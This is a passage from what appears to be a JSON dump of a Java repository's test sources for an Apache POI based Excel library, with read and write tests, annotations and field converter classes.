com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelImpl.SheetVo;\nimport com.jun.plugin.poi.test.excel.reader.ExcelReadListener;\nimport com.jun.plugin.poi.test.excel.reader.ExcelReaderFactory;\nimport com.jun.plugin.poi.test.excel.reader.ReadHandler;\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\nimport com.jun.plugin.poi.test.utils.StringParseUtil;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-23\n * Description:  \n */\npublic class ReadTestGlobalConverter6 {\n\t\n\n\t@Test\n\tpublic void readExcelTest() throws URISyntaxException {\n\t\t// InputStream in = Person.class.getResourceAsStream(\"/person.xlsx\");\n\t\tURL url = Salary.class.getResource(\"/salary6.xlsx\");\n\t\tFile f = new File(url.toURI());\n\n\t\t BingExcel bing = BingExcelBuilder.toBuilder().registerFieldConverter(EmploryAttribute.class, new MyDateConverter()).builder();\n\t\t ReaderCondition<Salary> condition=new ReaderCondition<>(1,Salary.class);\n\t\t condition.setStartRow(2);\n\t\ttry {\n\t\t\tSheetVo<Salary> vo = bing.readFile(f, condition);\n\t\t\tSystem.out.println(vo.getSheetIndex());\n\t\t\tSystem.out.println(vo.getSheetName());\n\t\t\tList<Salary> objectList = vo.getObjectList();\n\t\t\tfor (Salary salary : objectList) {\n\t\t\t\tSystem.out.println(salary);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\tpublic static class Salary {\n\n\t\t@CellConfig(index = 1)\n\t\tprivate String employNum;\n\n\t\t@CellConfig(index = 0)\n\t\tprivate String id;\n\n\t\t@CellConfig(index = 3)\n\t\tprivate EmploryAttribute attribute;// 枚举类型\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n\t\t\t\t\t.add(\"id\", id).add(\"employNum\", employNum)\n\t\t\t\t\t.add(\"attribute\", attribute).toString();\n\t\t}\n\t}\n\n\tpublic static class EmploryAttribute {\n\t\tprivate String key;\n\t\tprivate String value;\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(getClass()).add(\"key\", key)\n\t\t\t\t\t.add(\"value\", value).toString();\n\t\t}\n\n\t}\n\t\n\tpublic static class MyDateConverter extends AbstractFieldConvertor{\n\n\t\t@Override\n\t\tpublic boolean canConvert(Class<?> clz) {\n\t\t\t\n\t\t\treturn EmploryAttribute.class.equals(clz);\n\t\t}\n\n\t\t@Override\n\t\tpublic Object fromString(String cell, ConverterHandler converterHandler,Type type) {\n\t\t\tif(StringUtils.isBlank(cell)){\n\t\t\t\treturn null;\n\t\t\t}else{\n\t\t\t\tString[] split = cell.split(\":\");\n\t\t\t\tEmploryAttribute attribute=new EmploryAttribute();\n\t\t\t\tattribute.key=split[0];\n\t\t\t\tattribute.value=split[1];\n\t\t\t\treturn attribute;\n\t\t\t}\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/SaxReaderTest1.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.io.File;\nimport java.io.InputStream;\nimport java.net.URL;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.poi.test.excel.ReadTestGlobalConverter6.Salary;\nimport com.jun.plugin.poi.test.excel.reader.ExcelReadListener;\nimport com.jun.plugin.poi.test.excel.reader.ExcelReaderFactory;\nimport com.jun.plugin.poi.test.excel.reader.ReadHandler;\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-23\n * Description:  \n */\npublic class SaxReaderTest1 {\n\t//如果以上都不能满足你的需求 你也可以自己去处理数据。\n\t@Test\n\tpublic void testme() throws Exception{\n\t\t//InputStream stream = Salary.class.getResourceAsStream(\"/salary6.xls\");\n\t\t//File f = new File(\"E:/test/gzb.xls\");\n\t\t//File f = new File(\"E:/test/bc.xlsx\");\n\t\tFile f = new File(\"E:/test/b.xlsx\");\n\t\t//\n\t\tSystem.out.println(System.currentTimeMillis());\n\t\tReadHandler saxHandler = ExcelReaderFactory.create(f, new ExcelReadListener() {\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic void startSheet(int sheetIndex, String name) {\n\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\tSystem.out.println(System.currentTimeMillis());\n\t\t\t}\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic void optRow(int curRow, ListRow rowList) {\n\t\t\t\t//输出读取的数据列表。这里数据全部是string类型\n\t\t\t\tSystem.out.println(rowList);\n\t\t\t}\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic void endWorkBook() {\n\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\tSystem.out.println(System.currentTimeMillis());\n\t\t\t}\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic void endSheet(int sheetIndex, String name) {\n\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\n\t\t\t}\n\t\t}, true);\n\t\tsaxHandler.readSheets();\n\t\tSystem.out.println(System.currentTimeMillis());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/WriteTest1.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.util.List;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.annotation.OutAlias;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\nimport com.jun.plugin.poi.test.excel.core.BingExcelBuilder;\n\npublic class WriteTest1 {\n\tBingExcel bing;\n\t@Before\n\tpublic void before(){\n\t\tbing = BingExcelBuilder.toBuilder().builder();\n\t}\n\t@Test\n\tpublic void testWrite() {\n\t\tList<Person> list = Lists.newArrayList();\n\t\tlist.add(new Person(12, \"nihoa\", 23434.9));\n\t\tlist.add(new Person(23, \"nihoa\", 234.9));\n\t\tlist.add(new Person(122, \"nihoa\", 23434.9));\n\t\tlist.add(new Person(12, \"nihoa\", 23434.9));\n\n\t\t\n\t\tbing.writeExcel(\"E:/test/adb.xlsx\", list,list);\n\t}\n\n\t@OutAlias(\"xiaoshou\")\n\tpublic static class Person {\n\n\t\tpublic Person(int age, String name, Double salary) {\n\t\t\tsuper();\n\t\t\tthis.age = age;\n\t\t\tthis.name = name;\n\t\t\tthis.salary = salary;\n\t\t}\n\n\t\tpublic Person() {\n\t\t\tsuper();\n\t\t}\n\n\t\t@CellConfig(index = 1, aliasName = \"年龄\")\n\t\tprivate int age;\n\t\t@CellConfig(index = 0)\n\t\tprivate String name;\n\t\t@CellConfig(index = 3)\n\t\tprivate Double salary;\n\t\tprivate transient boolean testProperty = false;\n\n\t\tpublic String getName() {\n\t\t\treturn name;\n\t\t}\n\n\t\tpublic void setName(String name) {\n\t\t\tthis.name = name;\n\t\t}\n\n\t\tpublic int getAge() {\n\t\t\treturn age;\n\t\t}\n\n\t\tpublic Double getSalary() {\n\t\t\treturn salary;\n\t\t}\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(this.getClass()).omitNullValues().add(\"name\", name).add(\"age\", age)\n\t\t\t\t\t.add(\"salary\", salary).toString();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/WriteTest2.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.annotation.OutAlias;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\nimport com.jun.plugin.poi.test.excel.core.BingExcelBuilder;\n\npublic class WriteTest2 {\n\tBingExcel bing;\n\tList<Person> list = new ArrayList<>();\n\n\t@Before\n\tpublic void before() {\n\t\tbing = BingExcelBuilder.toBuilder().builder();\n\t\tfor (int i = 0; i < 10000; i++) {\n\t\t\tPerson p = new Person((int) (Math.random() * 100),\n\t\t\t\t\tRandomStringUtils.randomAlphanumeric(4),\n\t\t\t\t\tMath.random() * 1000);\n\t\t\tlist.add(p);\n\t\t}\n\t}\n\n\t@Test\n\tpublic void testWrite() {\n\n\t\tWriteThread thread1 = new WriteThread(bing, list);\n\t\tWriteThread thread2 = new WriteThread(bing, list);\n\t\tWriteThread thread3 = new WriteThread(bing, list);\n\t\tWriteThread thread4 = new WriteThread(bing, list);\n\t\tWriteThread thread5 = new WriteThread(bing, list);\n\n\t\tthread1.start();\n\t\tthread2.start();\n\t\tthread3.start();\n\t\tthread4.start();\n\t\tthread5.start();\n\t\ttry {\n\t\t\tThread.sleep(30000);\n\t\t} catch (InterruptedException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\tpublic static class WriteThread extends Thread {\n\t\tBingExcel bing;\n\t\tList<?> list;\n\n\t\tpublic WriteThread(BingExcel bing, List<?> list) {\n\t\t\tthis.bing = bing;\n\t\t\tthis.list = list;\n\t\t}\n\n\t\t@Override\n\t\tpublic void run() {\n\n\t\t\tif (Math.random() > 0.4) {\n\t\t\t\tbing.writeExcel(\"E:/test/adb\"\n\t\t\t\t\t\t+ Thread.currentThread().getName() + \".xlsx\", list,\n\t\t\t\t\t\tlist);\n\t\t\t} else {\n\t\t\t\t// bing.writeExcel(\"E:/test/adb\"+Thread.currentThread().getName()+\".xlsx\",\n\t\t\t\t// list);\n\t\t\t\tbing.writeOldExcel(\"E:/test/adb\"\n\t\t\t\t\t\t+ Thread.currentThread().getName() + \".xls\", list);\n\t\t\t}\n\t\t\tSystem.out.println(\"end:\" + Thread.currentThread().getName());\n\t\t}\n\n\t}\n\n\t@OutAlias(\"xiaoshou\")\n\tpublic static class Person {\n\n\t\tpublic Person(int age, String name, Double salary) {\n\t\t\tsuper();\n\t\t\tthis.age = age;\n\t\t\tthis.name = name;\n\t\t\tthis.salary = salary;\n\t\t\tthis.date = new Date();\n\t\t}\n\n\t\tpublic Person() {\n\t\t\tsuper();\n\t\t}\n\n\t\t@CellConfig(index = 1, aliasName = \"年龄\")\n\t\tprivate int age;\n\t\t@CellConfig(index = 0)\n\t\tprivate String name;\n\t\t@CellConfig(index = 3)\n\t\tprivate Double salary;\n\n\t\t@CellConfig(index = 2, aliasName = \"日期\")\n\t\tprivate Date date;\n\t\tprivate transient boolean testProperty = false;\n\t\tprivate transient String test = \"test\";\n\n\t\tpublic String getName() {\n\t\t\treturn name;\n\t\t}\n\n\t\tpublic void setName(String name) {\n\t\t\tthis.name = name;\n\t\t}\n\n\t\tpublic int getAge() {\n\t\t\treturn age;\n\t\t}\n\n\t\tpublic Double getSalary() {\n\t\t\treturn salary;\n\t\t}\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n\t\t\t\t\t.add(\"name\", name).add(\"age\", age).add(\"salary\", salary)\n\t\t\t\t\t.toString();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/WriteTest3.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.util.List;\n\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.annotation.OutAlias;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEvent;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEventBuilder;\nimport com.jun.plugin.poi.test.excel.core.BingWriterHandler;\n\n/**\n * @author Wujun\n */\npublic class WriteTest3 {\n    BingExcelEvent bing;\n\n    @Before\n    public void before() {\n        bing = BingExcelEventBuilder.builderInstance();\n    }\n\n    @Test\n    public void testWrite() {\n        /**\n         * 对于数据量非常大时候，注意一点就是数据绝对不能放入到内存，\n         * 你如果想初始化一个长多为百万级的list，劝你趁早放弃\n         */\n        //测试百万级的写出,\n        BingWriterHandler writerHandler = bing.writeFile(\"E:/test/bigdata.xlsx\");\n       // writerHandler.setMaxLine(100000);\n        for (int i = 0; i < 1000000; i++) {\n            writerHandler.writeLine(new Person(23, RandomStringUtils.randomAlphanumeric(4), Math.random() * 1000));\n        }\n        writerHandler.close();\n    }\n\n    @OutAlias(\"xiaoshou\")\n    public static class Person {\n\n        public Person(int age, String name, Double salary) {\n            super();\n            this.age = age;\n            this.name = name;\n            this.salary = salary;\n        }\n\n        public Person() {\n            super();\n        }\n\n        @CellConfig(index = 1, aliasName = \"年龄\")\n        private int age;\n        @CellConfig(index = 0)\n        private String name;\n        @CellConfig(index = 3)\n        private Double salary;\n        private transient boolean testProperty = false;\n\n        public String getName() {\n            return name;\n        }\n\n        public void setName(String name) {\n            this.name = name;\n        }\n\n        public int getAge() {\n            return age;\n        }\n\n        public Double getSalary() {\n            return salary;\n        }\n\n        public String toString() {\n            return MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n                    .add(\"name\", name).add(\"age\", age).add(\"salary\", salary)\n                    .toString();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/WriteTest4.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport com.google.common.base.MoreObjects;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.annotation.OutAlias;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEvent;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEventBuilder;\nimport com.jun.plugin.poi.test.excel.core.BingWriterHandler;\n\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.junit.Before;\nimport org.junit.Test;\n\n/**\n * @author Wujun\n */\npublic class WriteTest4 {\n    BingExcelEvent bing;\n\n    @Before\n    public void before() {\n        bing = BingExcelEventBuilder.builderInstance();\n    }\n\n    @Test\n    public void testWrite() {\n        /**\n         * 对于数据量非常大时候，注意一点就是数据绝对不能放入到内存，\n         * 你如果想初始化一个长多为百万级的list，劝你趁早放弃\n         */\n        BingWriterHandler writerHandler = bing.writeFile(\"E:/test/student.xlsx\");\n        writerHandler.writeLine(new Student(\"a\", RandomStringUtils.randomAlphanumeric(4), \"cc\"));\n        writerHandler.writeLine(new Person(23, RandomStringUtils.randomAlphanumeric(4), Math.random() * 1000));\n        writerHandler.setMaxLineForSheet(100);\n        for (int i = 0; i < 200; i++) {\n        \tif(i>100&& i<110){\n        \t\twriterHandler.writeLine(new Student(\"a\", RandomStringUtils.randomAlphanumeric(4), \"cc\"));\n        \t}\n            writerHandler.writeLine(new Person(23, RandomStringUtils.randomAlphanumeric(4), Math.random() * 1000));\n        }\n        writerHandler.close();\n    }\n\n    @OutAlias(\"xiaoshou\")\n    public static class Person {\n\n        public Person(int age, String name, Double salary) {\n            super();\n            this.age = age;\n            this.name = name;\n            this.salary = salary;\n        }\n\n        public Person() {\n            super();\n        }\n\n        @CellConfig(index = 1, aliasName = \"年龄\")\n        private int age;\n        @CellConfig(index = 0)\n        private String name;\n        @CellConfig(index = 3)\n        private Double salary;\n        private transient boolean testProperty = false;\n\n        public String getName() {\n            return name;\n        }\n\n        public void setName(String name) {\n            this.name = name;\n        }\n\n        public int getAge() {\n            return age;\n        }\n\n        public Double getSalary() {\n            return salary;\n        }\n\n        public String toString() {\n            return MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n                    .add(\"name\", name).add(\"age\", age).add(\"salary\", salary)\n                    .toString();\n        }\n    }\n\n    public static class Student {\n        @CellConfig(index = 0)\n        private String schoolName;\n        @CellConfig(index = 1)\n        private String className;\n        @CellConfig(index = 2)\n        private String name;\n\n        public Student() {\n        }\n\n        public Student(String schoolName, String className, String name) {\n            this.schoolName = schoolName;\n            this.className = className;\n            this.name = name;\n        }\n\n        @Override\n        public String toString() {\n            return MoreObjects.toStringHelper(this).omitNullValues()\n                    .add(\"schoolName\", schoolName)\n                    .add(\"className\", className)\n                    .add(\"name\", name)\n                    .toString();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/annotation/BingConvertor.java",
    "content": "package com.jun.plugin.poi.test.excel.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\nimport org.apache.commons.lang3.ArrayUtils;\n\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\n\n/**\n * 创建时间：2015-12-14下午2:11:27 项目名称：excel\n * \n * @author Wujun\n * @version 1.0\n * @since JDK 1.7 文件名称：BingConvertor.java 类说明：\n */\n@Target(ElementType.FIELD)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface BingConvertor {\n\tClass<? extends FieldValueConverter> value() ;\n\n\t\n\tClass<?>[] types() default {};\n\n\tString[] strings() default {};\n\n\tbyte[] bytes() default {};\n\t\n\n\tchar[] chars() default {};\n\n\tshort[] shorts() default {};\n\n\tint[] ints() default {};\n\n\tlong[] longs() default {};\n\n\tfloat[] floats() default {};\n\n\tdouble[] doubles() default {};\n\n\tboolean[] booleans() default {};\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/annotation/CellConfig.java",
    "content": "package com.jun.plugin.poi.test.excel.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n\n/**\n * 创建时间：2015-12-8下午9:41:18 项目名称：excel\n * \n * @author Wujun\n * @version 1.0\n * @since JDK 1.7 文件名称：BingCell.java 类说明：\n */\n@Target(ElementType.FIELD)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface CellConfig {\n\t/**\n\t * <p>Title: 下标值</p>\n\t * <p>Description: 从0开始，转入时候必须有值，转出时用index值确定在excel中列数，如果没有则不能确定位置。</p>\n\t * @return 转换为orm模型中java的类，如果不能转换返回null，基本类型中为默认值。\n\t */\n\tpublic int index() ;\n\t\n\t/**\n\t * excel 读取数据时候，是不是为必须参数。默认是false\n\t * @return\n\t */\n\tpublic boolean readRequired() default false;\n\t/**\n\t * excel导出时候，字段是否忽略导出，default <code>false</code>。\n\t * @return\n\t */\n\t//public boolean omitOutput() default false;\n\t\n\t/**\n\t * 输出时候的title名称\n\t * @return\n\t */\n\tpublic String aliasName() default \"\";\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/annotation/OutAlias.java",
    "content": "package com.jun.plugin.poi.test.excel.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n\n\n/**\n * 创建时间：2015-12-8下午9:41:18 项目名称：excel\n * \n * @author Wujun\n * @version 1.0\n * @since JDK 1.7 文件名称：BingCell.java 类说明：\n */\n@Target({ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface OutAlias {\n\t\n\t/**\n\t * 输出时候的sheet名称\n\t * @return\n\t */\n\tpublic String value() default \"\";\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/AbstractFieldConvertor.java",
    "content": "package com.jun.plugin.poi.test.excel.converter;\n\nimport java.lang.reflect.Type;\n\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\nimport com.jun.plugin.poi.test.excel.vo.OutValue.OutType;\n\npublic class AbstractFieldConvertor implements FieldValueConverter {\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic OutValue toObject(Object source,ConverterHandler converterHandler) {\n\t\tif(source==null){\n\t\t\treturn null;\n\t\t}\n\t\treturn new OutValue(OutType.STRING, source.toString());\n\t}\n\n\t@Override\n\tpublic Object fromString(String cell, ConverterHandler converterHandler,\n\t\t\tType targetType) {\n\t\tif (cell == null) {\n\t\t\treturn null;\n\t\t}\n\t\treturn cell;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/ConverterMatcher.java",
    "content": "package com.jun.plugin.poi.test.excel.converter;\n\n\n/**\n * <p>Title: ConverterMatcher</p>\n * <p>Description: ConverterMatcher is the base interface of any converter</p>\n * <p>Company: bing</p> \n * \n * @author Wujun\n * @date 2015-12-14\n  */\npublic interface ConverterMatcher {\n\n    /**\n     * Determines whether the converter can marshall a particular type.\n     * @param clz the Class representing the object type to be converted\n     */\n    boolean canConvert(Class<?> clz);\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/FieldValueConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter;\n\nimport java.lang.reflect.Type;\n\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\n\n\n\n/**  \n * 创建时间：2015-12-15下午2:12:56  \n * 项目名称：excel  \n * @author Wujun\n * @version 1.0   \n * 文件名称：FieldValueConverter.java  \n * 类说明：  这里面convertor是针对实体类的filed。主要用于扩展转换,目前版本中，convertor中必须有无参的构造方法。\n */\npublic interface FieldValueConverter extends ConverterMatcher {\n\t  OutValue toObject(Object source,ConverterHandler converterHandler);\n\t  Object fromString(String cell,ConverterHandler converterHandler,Type targetType);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/HeaderReflectConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter;\n\nimport java.util.List;\n\nimport com.jun.plugin.poi.test.excel.mapper.ExcelConverterMapperHandler;\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\n\n\npublic interface HeaderReflectConverter {\n   List<CellKV<String>> getHeader(ExcelConverterMapperHandler handler);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/ModelAdapter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter;\n\n\nimport com.jun.plugin.poi.test.excel.mapper.ExcelConverterMapperHandler;\nimport com.jun.plugin.poi.test.excel.vo.ListLine;\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\n\n\n\n/**  \n * 创建时间：2015-12-15下午2:12:56  \n * 项目名称：excel  \n * @author Wujun\n * @version 1.0   \n * 文件名称：Convertor.java  \n */\npublic interface ModelAdapter  {\n\tListLine marshal(Object source,ExcelConverterMapperHandler handler);\n\tObject unmarshal(ListRow source, ExcelConverterMapperHandler handler);\n}\n "
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/base/BooleanFieldConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.base;\n\nimport java.lang.reflect.Type;\n\nimport com.google.common.base.Strings;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.exception.ConversionException;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\n\n/**\n * \n * @author Wujun\n * \n * @date 2016-3-21 Description: thanks for Joe Walnes and David Blevins\n */\npublic final class BooleanFieldConverter extends AbstractFieldConvertor {\n\tprivate final boolean caseSensitive;\n\tprivate final String trueCaseStr;\n\tprivate final String falseCaseStr;\n\n\t/**\n\t * @param trueCaseStr 为真时候的输入\n\t * @param falseCaseStr 为家时候的输入\n\t * @param caseSensitive 是不是忽略大小写\n\t */\n\tpublic BooleanFieldConverter(String trueCaseStr, String falseCaseStr,\n\t\t\tboolean caseSensitive) {\n\t\tthis.caseSensitive = caseSensitive;\n\t\tthis.trueCaseStr = trueCaseStr;\n\t\tthis.falseCaseStr = falseCaseStr;\n\t}\n\n\t/**\n\t * 默认的boolean类型转换器，支持\"TRUE\", \"FALSE\"字符的转换\n\t */\n\tpublic BooleanFieldConverter() {\n\t\tthis(\"TRUE\", \"FALSE\", false);\n\t}\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\treturn clz.equals(boolean.class) || clz.equals(Boolean.class);\n\t}\n\n\t@Override\n\tpublic OutValue toObject(Object source,ConverterHandler converterHandler) {\n\t\tif(source==null){\n\t\t\treturn null;\n\t\t}\n\t\tString re;\n\t\tif((boolean)source){\n\t\t\tre=trueCaseStr;\n\t\t}else{\n\t\t\tre=falseCaseStr;\n\t\t}\n\t\treturn OutValue.stringValue(re);\n\t}\n\n\t/*\n\t * in other case ,return false?FIXME\n\t */\n\t@Override\n\tpublic Object fromString(String cell,ConverterHandler converterHandler,Type targetType) {\n\t\tif (Strings.isNullOrEmpty(cell)) {\n\t\t\treturn null;\n\t\t}\n\t\tBoolean re;\n\t\tif (caseSensitive) {\n\t\t\tre = trueCaseStr.equals(cell) ? Boolean.TRUE : Boolean.FALSE;\n\t\t} else {\n\t\t\tre = trueCaseStr.equalsIgnoreCase(cell) ? Boolean.TRUE\n\t\t\t\t\t: Boolean.FALSE;\n\t\t}\n\t\tif (!re) {\n\t\t\tif (caseSensitive) {\n\t\t\t\tif (!falseCaseStr.equals(cell)) {\n\t\t\t\t\tthrow new ConversionException(\"Cann't parse value '\"+cell+\"' to java.lang.Boolean\");\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (!falseCaseStr.equalsIgnoreCase(cell)) {\n\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn re;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/base/ByteFieldConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.base;\n\nimport java.lang.reflect.Type;\n\nimport com.google.common.base.Strings;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-21\n * Description:  \n */\npublic final class ByteFieldConverter extends AbstractFieldConvertor {\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\t return clz.equals(byte.class) || clz.equals(Byte.class);\n\t}\n\n\t\n\n\t@Override\n\tpublic Object fromString(String cell,ConverterHandler converterHandler,Type targetType) {\n\t\tif (Strings.isNullOrEmpty(cell)) {\n\t\t\treturn null;\n\t\t}\n\t\tint value = Integer.decode(cell).intValue();\n    \tif(value < Byte.MIN_VALUE || value > 0xFF) {\n    \t\tthrow new NumberFormatException(\"For input string: \\\"\" + cell + '\"');\n    \t}\n        return new Byte((byte)value);\n\t}\n\n\n\n\t@Override\n\tpublic OutValue toObject(Object source,ConverterHandler converterHandler) {\n\t\tif (source==null) {\n\t\t\treturn null;\n\t\t}\n\t\treturn OutValue.intValue(((Byte)source).intValue());\n\t}\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/base/CharacterFieldConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.base;\n\nimport java.lang.reflect.Type;\n\nimport com.google.common.base.Strings;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-21\n * Description:  \n */\npublic final class CharacterFieldConverter extends AbstractFieldConvertor {\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\t return clz.equals(char.class) || clz.equals(Character.class);\n\t}\n\n\t@Override\n\tpublic Object fromString(String cell,ConverterHandler converterHandler,Type targetType) {\n\t\tif (cell==null) {\n\t\t\treturn null;\n\t\t}\n\t\t if (cell.length() == 0) {\n\t            return new Character('\\0');\n\t        } else {\n\t            return new Character(cell.charAt(0));\n\t        }\n\t}\n\n\t@Override\n\tpublic OutValue toObject(Object source,ConverterHandler converterHandler) {\n\t\tif (source==null) {\n\t\t\treturn null;\n\t\t}\n\t\treturn OutValue.stringValue(source.toString());\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/base/DateFieldConverter.java",
